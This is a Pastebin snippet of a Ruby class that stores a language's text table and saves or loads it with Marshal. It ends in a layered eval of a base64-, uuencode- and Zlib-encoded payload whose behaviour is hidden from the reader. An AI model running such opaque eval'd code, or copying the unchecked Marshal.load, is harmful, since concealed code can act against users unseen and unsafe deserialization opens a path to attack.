Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class Language
- def initialize(name, table)
- @name = name
- @table = table
- end
- def name_ext(x)
- return x.to_i(36)%65536
- end
- def get_language_name
- return @name
- end
- def get_text(id)
- return @table[id]
- end
- def export(x)
- file = File.open(x, 'wb')
- $result = []
- @table.each{|y|
- $result << es(y, name_ext(@name))
- }
- Marshal.dump($result, file)
- file.close
- end
- def import(x)
- file = File.open(x, 'rb')
- $result = Marshal.load(file)
- $result.each{|y|
- @table << ds(y, name_ext(@name))
- }
- file.close
- end
- end
- eval("cyA9ICJUVDR0U2tWRUxFVlNSbFJnTURBdVhWd2hPeVF2UTBsVVNrRTVKRVUy
- VTB0WVFDZzRJVUJWUXlRdFFsQlgKTFV3dVVDVlFVakpZUGt4RExqTkhSZ3BO
- UlM4eVNVNVZYemRhV2xwZVQxOWZWemd1V2o5SFR6RklOaXNvCkswSmRTVVJH
- SjAwcVRrazdSVnBiVURzaUlsUTZOVTVQTWtvOFd6Z3NXMDArQ2swOE96MDVW
- aTgzVXpBdgpLaUpNUmlKWFdFYzZTeTB3UHpaYkpsOGhJejh0VlZNM1cwRkVN
- VlpTTERGUExqWTdTbHBkTXlVeUlUUlAKTmpWTVcxRUtUVHBTSlNrc1J6ZzZN
- amxOWDA1Wk5ESXVOajFNTEVZd1NVZ3lVMDFmVFVKZVFpMGlWU05mCk1VbzZT
- MHM3TVNrOVJqc3BVelZYTlZ3NEt6eERLQXBOVlUwbU5UZE5SMTlQSmkxRVYx
- MUFXMUZkUlRBKwpWeVJaSWxsS00wSS9NVHd3VzA5VE1qd2lJa0EwSzBrMktE
- MHdTMDhwTVVwYVV5UkJMRGNwQ2sxWU1sb2wKUTB0TE5pVlBSeVVvS2lzcFNp
- ZGdVMGNwTzFGY1VqQThLQzQ2U0RvNUlpcFlTMU0zSnpFbldFRkJUMHhQCklr
- b3NQV0FuSzFaREswNEtUVmt5U2prN01sQkNURmt3TnlNOVBTZFJUaUpZTVRn
- MFZGMVdPMUJEUzBSZwpJU1ZnTVNzeVBGd21LakE3UnpNclJ5c2lNbDhoTEN0
- R1ZqRTZUQXBOSnlVNFlFNHpJamcvSXlSQk1Wc2wKVUNZaFBFcENQbE0wVGpa
- VlgxSkVPbGxnWEZrc0x6eGZQamhSTFVoTFBqazhYRlkwVEdCU01rOUxPa3BR
- CkNrMUhLMGxMTXkxUFBGSmNNMFUzSVQ0N1EyQXFWRkZDU2x0SVhpMHlOamsw
- TGlsZFIwVkFPeWxNS0Z4ZApWaWxRVFRjdlUxVXVOMDlQS0ZjM1FWTUtUVnhL
- U0VOWE56SlpXQzQwSkY0bVBUVXNKRTBtUUZrK0xTTTMKTnlzd0pUSXlVbDVO
- V1Rvc1RrczJLRWRWUkVZckxGMWJTaTlSUFVBblhrVWtJd3BOU2pjbU5VTW9X
- VWhSCk1EaFFVMW81UFZ3b1UwOUFUa0lrVFUxQlAxRW5QejB0UTBZN1BDcGZY
- a3NyVlZwTlNUWktQQ0ZjU1QwNwpJekV3UFQ5SUNrMU5QMGNqUVR4SE9qQklQ
- RHdrVHlkRU1rZytQRUEvUnpzbVZ5OG5PUzQrU0Y5SFdEZGUKUmlReFVGSXFL
- a2s1U0RnNU9sOGtNek5BSms5Rk5rc0tUVE16VmlWVE5qNHhNa1phTjFNbFRF
- NGhUMDBsCk96OG1OREltS0RsVE4wUTdWbFJITDBvcVZWVmRTVjVWS2o4MlZr
- VmNJek5CVWkwc1FETXBOd28rTkZKTApUUzlaS2xsYVRsMDJORjFOSnpJL04x
- MUlOMFZZTnlkV01EZzZNaTlQVUNOQlZVQTdNUW89CiIKZXZhbCgiWlhaaGJD
- aGFiR2xpT2pwSmJtWnNZWFJsTG1sdVpteGhkR1VvY3k1MGIxOXpMblZ1Y0dG
- amF5Z25iU2NwCkxuUnZYM011ZFc1d1lXTnJLQ2QxSnlrdWRHOWZjeWtwIi51
- bnBhY2soJ20nKS5maXJzdCk=
- ".unpack('m').first)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement